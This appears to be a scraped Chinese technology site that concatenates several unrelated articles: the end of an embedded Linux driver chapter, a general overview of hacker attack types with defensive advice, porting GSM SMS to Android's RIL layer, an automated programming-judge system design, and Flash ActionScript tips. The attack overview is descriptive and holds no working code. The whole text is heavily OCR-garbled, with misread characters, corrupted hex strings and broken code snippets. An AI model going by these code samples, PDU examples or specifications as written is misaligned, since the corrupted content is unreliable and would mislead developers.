一個復位按鍵,采用專用芯片進行復位,穩定可靠; 一個15X2的插針擴展口,包括兩路Spi、1路IIC、4路AD、1個GND、1 個3.3V電源、14個10(包中斷6個)。 JTAG調試接口配有一塊下載調試板,可進行下載、程序仿真調試; 一個溫度傳感器接口(提供測試程序及接口,用戶可DIY); 一個紅外接收頭接口(提供測試程序和接口,用戶可DIY); 一片Ile接口的eeprom, 一個4位薄碼開關; 四個用戶按鍵; 四個LED; 一個PWM控制蜂鳴器。 2.7本章小結 從程序結構的角度來看,設備驅動程序是子程序和數據的集合,它的任務就是向 系統提供接口函數,從而實現系統對各種設備的訪問功能,所以簡單地說編寫驅動程 序就是實現這些接口函數。本章主要介紹了嵌入式Linux設備驅動程序的特點、分類、 層次架構和主要功能,并對嵌入式Linux設備驅動程序的具體開發過程進行了描述。 http://www.ionrce.tw/uploads/allimg/120608/1-12060Q63TR45-lp.jpg Linux,驅動程序 linux admin 未知 2012-06-08 16:27 計算機網絡黑客攻防策略 http://www.ionrce.tw/xitonganquan/20120607941.html 摘要 在網絡信息化時代飛速發展的今天,隨著網絡黑客的數量和技術日益上升,破壞程度愈演愈烈,破壞范圍也 越來越廣 因此,作為網絡時代新時期的一份子,應該了解黑客攻擊的一 摘要 在網絡信息化時代飛速發展的今天,隨著網絡黑客的數量和技術日益上升,破壞程度愈演愈烈,破壞范圍也 越來越廣 因此,作為網絡時代新時期的一份子,應該了解黑客攻擊的一些常用的方法和手段十分必要 文章主要闡述 了網絡黑客攻擊的一些典型方法和手段,并做了相應的分析,接著又總結了新時期里黑客攻擊的幾種方法,提高大眾的 防范意識,使得人們在日常生活中免于黑客不必要的危害。 0 引言 黑客一詞最早源自英文 hacker 最早被引進計算機圈 則可追溯自上個世紀 60 年代 在計算機網絡領域 黑客 就是非法用戶或敵對勢力利用竊聽 篡改 截獲等各種手 段危害各類信息系統的安全行為 隨著科技的進步和網絡新技術的不斷興起 新時期 網絡黑客的手段更是層出不窮 黑客對網絡的攻擊已成 為造成網絡不安全的主要因素 為此 分析和理解網絡黑客的攻擊動機 攻擊手段及 造成的危害性在新時期具有重要的意義 1 黑客的主要攻擊手段 1.1 黑客的傳統攻擊方法 社會工程學攻擊 社會工程學攻擊是指利用人性的弱點 社會心理學 等知識來獲得目標系統敏感信息的行為 攻擊者主要是 通過計策或欺騙等手段間接獲得密碼等敏感信息 通常 使用 E-mail 無線通訊工具 電話等形式運用欺騙手段對 所關注的對象材料進行盜取 然后在利用這些信息分析 后獲取對方主機的權限來進行攻擊 信息收集型攻擊 信息收集就是對目標主機及其相關設施 管理人員 進行非公開的了解 用于對攻擊目標安全防衛工作情況 的掌握 欺騙型攻擊 通常利用實體之間的信任關系而進行的一種攻擊方 式 主要形式有 IP 欺騙 Web 欺騙 郵件欺騙 非技術類 欺騙 漏洞與缺陷攻擊 通常是利用系統漏洞或缺陷進行的攻擊 主要包括 緩沖區溢出 絕服務攻擊 分布式拒絕服務攻擊 利用型攻擊 利用型攻擊是指試圖直接對主機進行控制的攻擊 常見有猜口令 木馬攻擊 這里的 木馬 是潛在威脅的意 思 種植過木馬的主機將會完全被攻擊者掌握和控制 1.2 黑客新時期的攻擊方法 利用硬件攻擊 新時期的黑客不僅僅體現在運用網絡途徑進行系統 軟件等的攻擊 今年網絡黑客們越來越多地把目標轉向 了對硬件的攻擊 例如把木馬病毒植入到主機的 BIOS 芯 片中 還能攻擊主機的防火墻 防病毒軟件等一系列殺毒 軟件 最近有報道稱黑客又把攻擊個人汽車操作系統作 為一項新的嘗試 因為就目前來看 隨著私家車數量的 不斷上升 汽車的內置系統也在不斷的升級 網絡化趨 勢越來越明顯 汽車的專用計算機系統接入網絡的可能 越來越大 黑客們任意輸送一些命令后 成功地入侵汽 車的專用操作系統 使正在行駛的汽車突然熄火 剎車 失靈等 利用虛擬機環境進行攻擊 最近幾年越來越多的人開始喜歡玩虛擬機 因為虛 擬機表現出了它強勁的優勢 具體表現在 一是節約資源 給喜歡玩多個操作系統的朋友提供 了便利的途徑 二是功能強大 通過虛擬機可以進行網絡軟件等的 測試和實驗 因此幾年來網絡黑客們就盯上了虛擬機 通過虛擬 機來對目標主機進行攻擊 同時虛擬機還能隱藏攻擊主 機的行蹤 利用無線技術進行入侵攻擊 現代社會無線通信技術已經普及并逐漸走向成熟 無線通信技術無論是在工作還是生活當中確確實實給人 們帶來了好處 但這也同時滋生了網絡黑客攻擊的喜好 給黑客們無形中留下了進行網絡攻擊的機會 無線通信 技術包括有手機電話 無線傳感網絡技術 藍牙技術 紅 外技術和 RFID 等 網絡黑客們會借助無線通信竊聽和截 獲用戶和企業的信息和機密 侵犯其隱私權 使得無線網 絡管理趨于復雜化 這也是近年來網絡糾紛案中最多的 例子 2 新時期防范黑客的幾點建議 2.1 必須提高網絡防范意識 隨著當今社會網民數量的激增 出現網絡黑客攻擊 的情況也越來越多 而且大多數網民的防范意識薄弱 所 以只有樹立良好的防范意識才能減少黑客的入侵 科學 的使用殺毒軟件和系統維護軟件 對自己的隱私等進行 安全加密處理和重要的信息要定期備份 養成良好的工#p#分頁標題#e# 作和上網習慣 2.2 必須加強網絡體系安全機制的監管 從目前網絡應用上所暴露出的一些問題來看 除了 由于個人和企業的操作失誤帶來的損失外 一大部分還 來自于網絡體系的安全機制不健全 包括網絡本身的防 火墻技術 加密技術 身份識別以及入侵檢測技術都有待 進一步加強 2.3 政府等法律部門的重視和參與 新時期網絡犯罪形式層出不窮 一些還沒有與之相 關法律法規來約束和正確處理的網絡犯罪時有發生 還 有就是政府等法律部門應多介入網絡安全機制的監管 不斷完善原有網絡犯罪管理制度 出臺相應有力有效的 法律法規。 http://www.ionrce.tw/uploads/allimg/120607/1-12060GP91A93-lp.jpg 黑客,攻擊手段 系統安全 admin 未知 2012-06-07 17:53 GSM SMS移植到Android平臺 http://www.ionrce.tw/biancheng/20120605940.html GSM是全球移動通信系統(Global System of Mobile Communication)的簡稱。它是由歐洲電信標 準組織ETSI制訂的一個數字移動通信標準。GSM的 短消息業務,由于其方便、快捷、廉價等特點而備受用 戶 GSM是全球移動通信系統(Global System of Mobile Communication)的簡稱。它是由歐洲電信標 準組織ETSI制訂的一個數字移動通信標準。GSM的 短消息業務,由于其方便、快捷、廉價等特點而備受用 戶的青睞,它作為GSM網絡的一種基本業務,已得到 越來越多的系統運營商和開發商的重視。目前,很多網 絡公司就是依靠短消息業務生存和發展。隨著短消息 業務的不斷發展,它在移動終端上的應用也越來越廣。 Android是Google于2007年11月發布的基于 Linux內核的開源操作系統,主要用于智能手持終 端,如手機、平板電腦等。Android的無線接口層 (RIL)位于應用程序框架和內核之間,提供了無線通 訊模塊與Android電話服務的抽象層[2],主要負責 AT命令的發送、SMS的發送和上報以及response的 解析。Android framework層在電話服務功能上分成 了兩個分支:GSMPhone和CDMAPhone,而在RIL 層上,則提供了基于GSM網絡的支持。為使Android 平臺能夠正常發送和接收短信,筆者在分析GSM SMS PDU協議的基礎上,將GSM SMS移植到該平 臺以支持此功能。 1 SMS概述 SMS(Short Message Service)即通常所說的短消 息業務。所謂短消息就是通過GSM網絡傳輸的有限 長度的文本(數字或文字)信息。而SMS是GSM系統 提供給移動終端用戶的一種特殊服務。通過GSM網 絡,并設有短消息業務中心(SMSC),便可實現SMS。 短消息業務按其實現方式可分為點到點短消息業務和 小區廣播短消息業務,目前主要應用的是點到點短消 息業務。 點到點短消息業務包括兩種情況[3]:一種是移動 臺終止(接收)點對點短消息(SMS—MT/PP);另一種 是移動臺發起(發送)點對點的短消息業務(SMS— MO/PP)。點到點短消息業務即通過M0和MT將一 條短消息從一個實體發送到指定目的地址的另一實體 的業務。被發送的信息經過編碼后消息長度為140個 字節,也就是一條短消息可以包含160個英文字母(7 bit編碼)或70個漢字(16 bit編碼)。 在GSM SMS PDU Mode[43中,可以采用2種編 碼方式來對發送的內容進行編碼,它們是7-bit和 Ucs2編碼。7-bit編碼用于發送普通的ASCII字符, 它將一串7-bit的字符(最高位為O)編碼成8-bit的數 據,每8個字符可“壓縮”成7個;UCS2編碼用于發送 Unieode字符。PDU串的用戶信息(TP—UD)段最大容 量是140 B,所以在這兩種編碼方式下,可以發送的短 消息的最大字符數分別是160和70。這里,將一個英 文字母和一個漢字都視為一個字符。SMS PDU編碼 方案在源代碼中定義如下: typedef enum{ SMS—CODING—SCHEME—UNKNOWN=0, SMS—CODING—SCHEME—GSM7·//GSM 7-bit編 碼 SMS—CODING—SCHEME—UCS2//UCSZ編碼 }SmsCodingScheme 2 GSM SMS PDU字段分析 ETSI的GSM03.40標準Is]詳細論述了PDU的 協議字段,現將發送PDU(Submit—PDU)和接收PDU (Deliver—PDU)的字段含義總結如下. 2.1 Submit—PDU字段含義 Submit—PDU字段協議如表1所示。 表1 Submit—PDU字段協議 例如PDU字符串:o001000b818169329646fl000 b044160597d,將其字段進行分解,如表2所示。 由于SMSC已經包含在UIM卡中,因此不必指 明,設置為Ox00即可。 MTI設置為0x01,表示這是一個SUBMIT類型 的PDU。MR用于對Submit—PDU進行標識,一般設 置為0x00。 DA字段,目標手機號碼為18962369641,長度 11,用十六進制表示為OxOb。目標手機號碼的長度為 11,需要補一個f將其湊成偶數,然后再將每兩個字節 進行顛倒,就是我們看到的8169329646fl。 PID為0x00,表示為普通GSM類型,點對點模 式。 D(葛為OxOb,表示用戶使用的編碼方式為UCS2 編碼。當DCS為0x00時,使用的是GSM 7 bit編碼。 UDL為0x04,表明用戶數據長度為4個字節。 UD為用戶數據,UNlCODE值0x4160代表 “你”,0x597d代表“好”。 2.2 Deliver—PDU宇段含義 Deliver—PDU字段協議如表3所示。 表3 Deliver—PDU協議字段 #p#分頁標題#e# 如PDU字符串:002008818169329646F10009119 02232003l00044F60597D,將其字段進行分解,如表4 所示。 DCS為0x09,表示使用UCS2字符集,當為0x00 時,使用GSM 8一bit編碼方案。如“hellol”的GSM 8一 bit字節的編碼為:E8329BFDOE01。 ScTS字段的意思是:發送時間為2011年09月 22日22 s 27 l 21,00時區 UD字段對于中文采用UCS2編碼,對英文字符 則采用8 bit編碼。其他字段參考前面所述,在這里不 再贅述。 3具體移植過程 目前,關于GSM SMS編解碼已經有實現,代碼已 經部分開放。在GSM SMS具體移植過程中,只需調用 相關功能函數接口即可。本文具體移植環境是在 Android 2.2操作系統上,移植過程中使用的3G無線 通訊模塊為CDMA EvDo模組,模組使用的短信格式 是text模式。 3.1 SMS Send功能移植 在Android GSM Phone框架下,Android telephony framework層通過Socket接口傳送給RIL 層的短信內容采用的是GSM PDU字符串形式 (Submit—PDU),而CDMA EvDo模組目前并不支持 PDU編碼的信息對此可以有兩種選擇:①修改 framework層,把下發給RIL的信息改為text mode 的信息;②修改RIL,把PDU MODE的信息還原成 text mode的內容再發送。考慮到Android framework 層源代碼對字符串的處理比較復雜,加上修改 framework層會導致很多問題的出現,比如對strlen、 asprintf函數調用等。在實際開發中本文采用了第2 種方案。 3.1.1 SMS Send相關AT命令介紹 在短信發送功能實現上涉及的AT命令是選擇短 信參數命令‘HSMSSS和短信發送命令‘HCMGS。 在短信發送之前須先設置短信參數。具體說明如下: 短息參數設置命令語法結構[6]為:‘HSMSSS= <ack>,<prt>,<fmt>,<pry>。<ack>字段的 意思是是否需要短信狀態報告(o一不需要短息狀態報 告,1一需要短信狀態報告),實際開發中該字段設置為 0。<prt>為短信優先級字段,<prv>為保密級別字 段,這兩個字段都采用缺省處理,設置為0。<fmt>字 段為編碼方式字段,當發送英文短信時,該字段設置為 1(GSM 7 bit編碼)‘當發送中文短信時該字段需設置 為6(UCs2編碼)。 短信的發送分兩步完成[6]。首先下發‘HCMGS =<da>以(CR)結束;然后下發消息內容以<ctrl—Z >結束。其中<da>字段為接收發號碼。<ctrl—Z>標 識一條短信的結束,編碼方式為非UCS2方式下字符 為’0xlA’,編碼方式為Ucs2方式下字符為, 0x001A’。實際開發中上述兩步是姆用RIL中at send—command—sins()函數一并處理的。 3.1.2具體解碼流程 Android平臺在發送短信時,Android telephony framework層通過Socket接口,調用RIL層的 requestSendSMS(void*data,size—t datalen,RIL— Token t)函數,將Submit—PDU以PDU字符串的形 式傳遞給datat婦變量。由于在發送短信時,SMSC已經 包含在UIM卡中,所以從telephony framework傳遞 過來的PDU是不帶SMSC的。為保證PDU字段的完 整性和正常解析,在RIL層處理上需將接收到PDU 串前加上0x00。整個解碼工作流程如圖1所示,詳細 說明如下。 ①將Submit—PDU字符串轉化為標準GSM SUBMIT SMS PDU結構體,調用函數smspdu create—from hex()。SMS PDU結構體描述如下: typedef struct SmsPDURec{ bytes—t base bytes—t end; bytes—t tpdu} )SmsPDURee I typedef struct SmsPDURee*SmsPDU‘ ②取Submit—PDU協議字段中目標地址字段,調 用smspdu—get—receiver—address()函數。 ③將目標地址字段轉換為普通手機接收方號碼, 調用函數sms address..to str()。 ④調用函數smspdu—get—text—messgae()獲取 SMS PDU結構體中的文本信息(要發送的短信正文 內容)和內容編碼方式。由于在UTF一8里,英文字符仍 然跟ASCII編碼一樣,所以可以直接取到其value。但 對于中文短信,在取其UTF8字節流字符串的value 之后,需將UTF8字節流字符串的value轉換為將 UCS2字符串的value,調用函數utf8 to ucs2()函 數。這里需注意的是,短信正文內容結束標記,對于英 文短信直接將字符串結尾設置為’0xlA’,對于中文短#p#分頁標題#e# 信需在字符串結尾加上’Ox00’和’0xlA’。 ⑤調用at—send—command()函數,設置短信參 數。對于英文短信需將編碼字段<fmt>設置為1 (GsM 7bit編碼),對于中文短信需將編碼字段設置為 6(UCS2編碼)。 ⑥調用at—send—command—sms()接口函數,對 目標地址下發短信正文內容。至此RIL層已經完成短 信發送功能。 3.2 SMS Receive功能移植 text模式下,CDMA EvDo模組上報的內容,英文 短信情況下以原字符顯示,中文短信則以UCs2編碼 顯示。GSM Phone框架下,Android telephony ramework層通過Socket等待RIL層傳遞過來的 MS必須為Deliver—PDU字符串形式。為此在RIL層 需要對模組上報的內容進行編碼轉換成GSM eliver—PDU字符串。 .2.1新短信直接上報指示語法結構與取值說明 以下是CDMA EvDo模塊在測試板上,發送 “hello”內容給模塊,模塊主動上報的信息。 ‘HCMT:18962369641,2011,9,23.9,40,6,0, ,5 hello-’ 其語法結構‘63如下: ‘HCMT:<callerlD>,<year>,<month>,<day>· hour>.<minute>,<second>.<lang>,<format>。< ength><CR><LF><msg><CTRL+Z><CR><LF > 各字段取值說明如下: <lang>:語言,取值為0時為普通英文短信。取 值為6時為中文短信。 <format>:表示短消息的編碼格式,1表示 ASCII編碼,按照原字符發送。例如字母A的ASCIl 碼為0x41,則傳輸的字符為“A”;當該字段為6時,表 示為Unicode編碼,Unicode編碼按照字符的原始值 傳送。例如漢字“一”的Unicode編碼為0x4E00,則傳 輸的字符為‘0x4E00’。 <CTRL+Z>:標識一條消息的結束,字符為:’ 0xlA’(Unicode編碼對應為:’0x001A)。 3.2.2具體編碼流程 編碼工作流程如圖2所示,詳細說明如下。 ①編寫功能函數,提取發送方號碼、<lang>字 段、短信正文內容。 ②將發送方號碼轉換為標準發OA(Originator Address)字段,具體實現會用到sms—address—from str()函數。SMS Addresses結構體定義如下: #define SMS..ADDRESS..MAX..SIZE 16 typedef struct{ unsigned char len; unsigned char toa;I unsigned char data[SMS_ADDRESS_MAX_SIZE]) }SmsAddressRec,-SmsAddress l ③獲取SMS時間戳,調用sms—timestamp—now (&timestamp)函數。SMS時間戳結構體如下: typedef struct{ unsigned char data[7]; )SmsTimeStampRec,-SmsTimeStamp l ④編寫功能函數get—text()取短信正文內容的 value值。對于英文短信,直接取模組上報的原始值。對 中文短信,按照每個字節(8bit)處理,取其value。如 “你好”的UCS2編碼為“4F60597D”,其對應的value 值為“O’Y)”。 ⑤將text值轉化為標準GSM SMS PDU結構, 調用函數smspdu—create—deliver—utf8(text, length,&addr,8‘timestamp)。由于在UTF一8里,英 文字符仍然跟ASCII編碼一樣,所以可以直接轉換。 為便于統一處理,對于中文短信,需先將UCS2字符串 的value轉化為UTF8字節流字符串的value,轉換方 法如下:例如“漢”字的UCS2編碼是0x6C49。6C49在 0800一FFFF之間,所以要用到3字節模板[7】: lllOxxxx lOxxxxxx 10xxxxxx。將6C49寫成二迸制 是:0110 110001 001001,用這個比特流依次代替模板 中的X,得到:11100110 10110001 10001001,即E6 B 89。編碼實際過程中要用到了ucs2 to utfS()轉換函 數,該函數在sms—gsm.C源程序中已有實現,在這里 不再贅述。 ⑥調用函數smspdu—to—hex(p[0],hex—pdu, 512),將SMS PDU轉換為PDU字符串形式。 ⑦調用函數RIL onUnsolicitedResponse(RIL UNSOL—RESPONSE—NEW—SMS,hex—pdu, strlen(hex—pdu)),將Deliver—PDU字符串上報給 Android framework層。 4 結束語 Android操作系統在RIL層提供了對GSM網絡的支持。RIL則提供了SMS發送和上報的接口函數。 通過分析GSM SMS PDU的協議字段含義,結合#p#分頁標題#e# SMS編解碼原理,給出了Android GSMPhone框架下 RIL層SMS編碼和解碼的具體工作流程。成功實現了 SMS在text模式下,GSM SMS功能在Android平臺 上的移植。為其他3G無線通訊模組如TD—SCDMA、 WCDMA在GSM SMS功能移植提供了范例。下一步 將考慮TD—SCDMA、WCDMA無線通訊模塊在 Android平臺上SMS功能的移植。 http://www.ionrce.tw/uploads/allimg/120605/1-1206051P552925-lp.jpg GSM SMS,Android平臺,無線接口層 各類編程 admin 未知 2012-06-05 18:02 淺析Web架構的自動化實訓系統設計 http://www.ionrce.tw/wangzhanbiancheng/20120603939.html 目前我國很多高職院校計算機課程缺乏有效的實 踐教學。根據建構主義學習理論[I],教學過程實質上就 是教師幫助學生完成知識建構的過程,而不是教師灌 輸理論知識的過程,學生才 目前我國很多高職院校計算機課程缺乏有效的實 踐教學。根據建構主義學習理論[I],教學過程實質上就 是教師幫助學生完成知識建構的過程,而不是教師灌 輸理論知識的過程,學生才是學習的主體。當前國內也 有很多學者對程序設計課程提出了很多有意義的改革 思想和教學方法任務驅動教學法、基于問題的學 習法、案例教學法等)。但很少有學者提出相關實訓支 撐平臺研究開發。研究開發一套支撐教學過程的平臺 工具[4-s],會使教學實訓更有效率。 針對計算機程序設計課程教學中因教師人力制約而 無法實施個性化分層教學、訓練題目單調、人工評判學生 編制的程序等不足,研究開發一個自動化的程序設計訓 練系統,作為學生練習和實訓的平臺,提高實訓成效。 1 系統總體設計 1.1系統總體架構 系統基于B/S架構,功能結構圖如圖1所示。 1.2系統訓練流程 教師根據課程授課計劃設計好各類知識點的實訓 項目(題目)和用于測試的數據,存人數據庫。并設定好 系統,然后按以下流程運行。 ①學生登錄網站,根據教學計劃和自身能力選擇 相應的任務/題目。按題目要求,根據自身愛好選擇合 適語言(c/c++/Pascal/Java),按一定的小組協作模 式嘲討論協作編制程序代碼,通過網頁向訓練系統服 務器提交源程序。 ②訓練系統對源程序進行試編譯,如果出錯則反 饋出錯信息,并記錄學生的嘗試次數,讓學生重新檢查 語法,排除錯誤,并重復嘗試。系統對編譯通過的程序 代碼生成可執行程序。 ③訓練系統在安全空間里對可執行程序進行試運 行,對可執行程序進行安全性檢查。對于惡意攻擊,中 止用戶行為并反饋信息。 ④訓練系統根據題目要求,調用相應的測試用例對 用戶程序進行黑盒測試[7],并判斷用戶程序是否產生預 期結果。如果用戶程序通過所有數據測試,則反饋“正 確”結果,并記錄成績;否則,輸出相應的錯誤,如運行錯 誤、超時、結果錯等給學生,以引導學生進行相應排錯。 ⑤學生完成當前題目后,訓練系統根據設定的教 學計劃或學生自身能力,引導學生解決下一個任務或 題目。 ⑥學生通過反復訓練,達到強化程序編制實際動 手能力。教師可以從繁重的輔導中得到解放,把精力放 在監控學生的學習情況、實時更新試題庫、調整教學策 略上,從而為不同學生提供不同的教學進度和教學內 容,實現分層教學。 2 系統關鍵技術 2.1系統開發環境 為使系統具有更高的性能,本系統在Linux環境 下開發。前臺采用PHP腳本編寫,后臺核心程序采用 Unix C語言開發,數據庫采用MySQL輕量型數據 庫,網頁服務器采用Apache。c/c++編譯器采用 GCC,Pascal編譯器采用FPC,Java編譯器采用JDK。 2.2系統關鍵技術 本系統使用到的關鍵技術如下: 2.2.1進程及進程通信 進程是程序的一次執行過程,有獨立的地址空間, 是資源分配的最小單位。Linux下的進程有6種狀態: 新建(進程正在被創建)、就緒(進程正在等待被調度)、 運行(進程正占用CPU)、睡眠或阻塞(進程正在等待 一個事件)、僵死(進程已經結束,正在等待釋放資源)。 進程各狀態之間的轉換如圖Z所示。 2.2.2 信號 信號是Linux操作系統中用來通知進程發生了某種事件的一種手段,提供了一種處理異步事件的方法。 當進程接收到一個信號,它可以忽略信號、捕獲信號或 執行信號的默認動作。本系統使用到的信號及其含義 作用如表1所示。 Z.Z.3 CGl CGl(Common Gateway Interface),是一段可執 行程序,運行在網頁服務器上,提供客戶端Html頁面 接口。CGI程序速度比PHP、ASP等腳本解釋語言快 很多,但開發難度大。本系統采用了Linux下免費的 CGIC[8】(開發CGI的C函數庫)開發工具包。本系統 核心模塊采用Linux平臺下的C語言編寫的一個CGI#p#分頁標題#e# 可執行程序,能夠進行強大的操作系統內核功能調用, 運行速度極快。 2.2.4 黑盒測試[71 黑盒測試又稱功能測試、數據驅動測試。把程序看 作一個黑盒子,在不考慮程序內部結構情況下,測試者 在程序接口進行測試,檢查程序是否接收預設的輸人 數據而產生正確的輸出信息。本訓練系統只檢查用戶 程序是否達到預定的功能,無需考慮程序的實現邏輯。 學生的發散思維也可得到培養。 3 系統運行邏輯 由于系統要運行用戶的可執行程序,因此安全性 要提到最高級別,防止用戶編寫惡意代碼攻擊服務器。 本系統的核心判題部分的設計和運行邏輯步驟如下所 示。 ①用戶提交源程序,訓練系統從Apache接管數 據。 ②創建子進程,初始化,對進程的錯誤輸出和標準 輸出進行重定到文件,根據用戶源程序所使用的語言, 調用相應的編譯器并設置參數,編譯用戶源程序,等待 并監控編譯程序結束。 ⑧如果編譯器結束編譯,沒有生成可執行文件,表 示編譯出錯,則輸出相關編譯錯誤信息,提示用戶排 錯。轉@;如果編譯器產生輸出文件,轉④。 ④啟動進程會計,創建子進程,設置進程資源(對 進程最大輸出數據大小、允許打開的文件數、執行時 間、執行內存、執行堆棧、權限等進行設置限制),重定 向標準輸入到測試文件,重定向標準輸出到用戶輸出 文件,運行用戶程序,等待子進程結束,結束進程會計。 ⑤監控用戶程序運行,如果用戶程序正常結束并 產生輸出文件,轉⑦;如果捕獲到信號,轉⑥。 ⑥根據信號類型(如超時、運算錯誤、異常終止、過 量輸出等,見表1),反饋相應錯誤信息,把用戶的嘗試 追加到歷史記錄,鼓勵用戶再接再厲。轉⑥。 ⑦調用比較模塊比較用戶輸出文件與標準答案文 件。根據一定的匹配規則,如果用戶文件與答案文件匹 配,轉⑧;否則轉⑩。 ⑧讀取進程會計信息,取得時間和內存消耗,計算 排名,并輸出時間、內存和排名作為參考。 ⑨根據用戶的歷史記錄,按照教師設定的教學計 劃,引導用戶解決下一任務或問題。轉⑩。 ⑩反饋結果錯誤信息,把用戶的嘗試追加到歷史 記錄,鼓勵用戶再接再厲。 ⑩釋放進程資源,結束運行。 4 結束語 設計并開發了一個自動化的程序設計訓練系統,該系統適合高職高專院校計算機程序設計教學的訓練 平臺。經實際運行,可有效提升學生的編程能力。 http://www.ionrce.tw/uploads/allimg/120603/1-12060312002D26-lp.jpg Web架構,程序測試,系統設計 網站編程 admin 未知 2012-06-03 11:55 Flash應用常用的AS腳本技術解析 http://www.ionrce.tw/meigongsheji/20120531938.html Flash由于生成文件體積小,用戶體驗豐富,在全 球約99%的計算機終端和其他移動終端上得到了廣 泛應用[1].而別的開發軟件如Autherware、Director 等,生成文件體積龐大,不太適合中小型 Flash由于生成文件體積小,用戶體驗豐富,在全 球約99%的計算機終端和其他移動終端上得到了廣 泛應用[1].而別的開發軟件如Autherware、Director 等,生成文件體積龐大,不太適合中小型項目,特別是 網絡交互。很多用戶在利用Flash進行初期開發的時 候往往不知道該選擇哪種版本。雖然Flash CS5已經 推出,但筆者強烈推薦大家使用英文版Flash8.0。對 一般的多媒體應用,Flash8.0提供了足夠豐富的功 能。Flash8.0以上的版本涉及到完善、系統的面向對 象編程(OOP),對初學者來說要求較高,不推薦使用。 Flash MX 2004以下的版本是ASl.0到AS2.0的過 度階段,AS不是很完善,也不推薦使用。另外,由于漢 化水平層次不齊,導致漢化版本眾多,存在或多或少的 漢化bug,不太利于項目的穩定開發和維護。Flash8.0 進行多媒體開發時,常用的AS命令并不多,用戶不用 擔心英語基礎不好不容易掌握。 下面介紹多媒體應用中常用的AS技術:動態文 本、幀切換、事件處理、緩動和動態遮罩。 1 動態文本(Dynamic Text) Flash8.0中提供有3種文本類型:靜態文本 (Static)、輸入文本(Input)和動態文本(Dynamic)。靜 態文本和輸入文本的使用比較簡單,而動態文本的使 用則需要注意很多。 為了顯示流暢和美觀,動態文本[2】一般要嵌入 (Embed)字符,但生成的.swf文件的體積會增加許多。所以動態文本比較適合顯示小塊文本內容如導航 (Nadgafion)、標題(Title)等-不太適合顯示內容較多 的文本.如正文。另外一方面·嵌入(Embed)字符還可 以解決顯示內容丟失(不顯示)的問題。如果旋轉包含 有動態文本的MC,將導致其顯示內窖丟失(不顯示)。 解決的方法就是將顯示的字符嵌入進去I也可以用通 過設量動態文本的Var變量域加以解決。對MC縮放 不會導致顯示內容丟失. 為了便于慘改和雛護,一般使用數組(Array)將 動態文本所用的功能相似的文本內容組織在一起.下 面語句對4個包古有動態文本(dis_txt)的導航菜單 MC(nav0_nlc,nayl_mc、nav2_mc、nay3_mc)賦 值. var title—afr,Array= new Array("Main",’Pics’, "Files","Email")//定義導航文本集, for(var i,Number=0;i<title_art.1ength,i++){ this["nav"+i+'_mc"].dis_txt.text=title_arr[i]; }//動態一值; 當導航內容變化或者移作它用的時候,只要修改 MC的數量和title_art數組就可以,擴展性和維護性 大大增強。 2幀切換(Frame.HOP) 一個多媒體應用一般會包古有多個MC.太多的 MC會導致庫的管理混亂。除了在庫(Library)里分門 別類地建立文件夾外,還可以采用幀切換(Frame— HOP)技術. 杖切換就是將功能相同的Mc(如正文內容、導航 圖標icon)集合剄同一個MC的不同杖上,在使用的時 候,采用gotoAndStop()語句動態切換.這樣做一方面 便于庫的管理和維護,一方面可以有效解決采用嵌人 大塊動態文本字符導致swf文件體積龐大的問題。 下面語句使場景中5個MC停在同一個MC的不 同幀上。從而顯示不同的內容. var mc_len=5;//MC的個效 for(var i ;Number=0; i<mc_len,i++)( this['dis'+i+’'mc'].gotoAndStop(i+1),,/顯示不 同的幀 } 3事件處理(Event_handling) 一個具有良好交互的多媒體應用可以方便用戶選 擇其感興趣的內容。交互實際上就是事件處理口1或事 件響應。Flash MX 2004以下的版本事件處理的方式 多種多樣.事件處理代碼既可以寫在元件本身。也可以 寫在時同軸上,還可以寫在外部.a8上.這樣雖然報靈 活,但是會導致后期的代碼維護(尋抗)極不方便。 Flash8.0以上的版本規范了代碼的位置,只可以寫在 時間軸或外部.as文件中。極大地方便了后續的雛護 工作。Flash8.0中事件處理主要集中在對Mc的處理 上,用的最多的是MC的onRelease函數、onRollOvet 函數、ouRollOut函數。如l yourName—mc.onRelease=function(){ //您的操作 }. yourName—mc.onRollOver=functlonO f //您的操作 '· yourName—mc.onRollOut=function(){ //您的操作 }· 這幾個函數通常結合在一起使用,會產生豐富的 用戶體驗·一般是將onRollOver、onRollOut的效果#p#分頁標題#e# 部分采用補間、遮罩、形變或其方法集成到MC里。 第20杖寫stop()。第1幀~19杖為鼠標移動剄 事件MC上方時觸發的效果,第21幀~40杖為鼠標 穆出事件MC時麓發舶效果。如果單純地使用 onRdease函數,會使得效果單一、生硬.不夠流暢,所 以事件MC的設計很重要。 注意:不推薦用戶采用傳統的按鈕(Button)進行 交互控倒.這是因為按鈕的可操作性、可重用性和可維 修性遠不及MC,且按鈕的用戶體驗功能單一。沒有 MC豐富。 4緩動(Easing) 緩動主要應用在對MC的屬性控鋼‘扭穆動、縮 放)。尤其是結合物理基本運動原理[.】可以讓MC呈現 出豐富的運動效果.作為一個Flash設計師·這是必須 要掌基的一項技能。Flash中有3種方法可以實現緩 動。 4.1靜態緩動 指的是不通過AS實現的時間軸上2十關鍵幀之 間的緩磚。是最簡單、最容易的緩動。為了滿足不同的 需要,允許用戶對Tween效果進行自定義編輯.如圖2 2,整個緩動持續了50幀。前面80%的緩動用了10 幀.而后面20%的緩動用了40幀。故整個緩動呈現出 先快后慢的效果。 4.2動態緩動 利用AS對MC進行控制而實現緩動.動態緩動 相比靜態緩動而言所呈現的效果更加豐富、細膩、逼 真。 var target:Number=100’//定義目標, var easing;Number=0.55l/,定義緩動指數; my_mc.onEnterFrame=function(){ my_mc._x+=(target-my—mc-_x)/easing, h 這是一個標準指數緩動.target為MC運動的目 標點。easing為緩動指敷,不同的數值所呈現出來的效 果不一樣。一般來講,數值越大,緩動效果越慢,數值越 小,緩動效果越快。圖中的0.55會使my—mc在z軸 方向上呈現一種類型彈簧的抖動效果,直至近似停止 在目標點。 注意:MC并不是真正停止在目標點。而在無限接 近目標。所以一定要在MC接近目標點的時候進行刪 除(Delete)。否則緩動運算會一直持續下去,占用系統 資源。對一z坐標的移動來說,只要和目標的距離小于 0.5就可以認為已經緩動到目標點,可以捌除。 If(Math.abs(my—m.一x-target)<:0·5){ delete this.onEnterFrame} ) 修改target、easing和MC的不同屬性,可使MC 呈現出不同的運動效果. 4.3類緩動 為了方便用戶使用,Flash MX 2004以上的版本 提供有Tween類和Easing類[”。使甩只需在代碼層 第1行導人即可.2個類通常結合在一起使用。Easing 類相當于Tween類的方法。 import mx.transitions.Tween‘ import mx.transitmns.essing.g-● Tween類的構造函數如下: my—tween=new_ Tween(object.property·function,begin,end,duration· useSecond) object是采用緩動的目標,一般為MC) property指MC的屬性。如一z坐標、一Y坐標或一 alpha值等等。 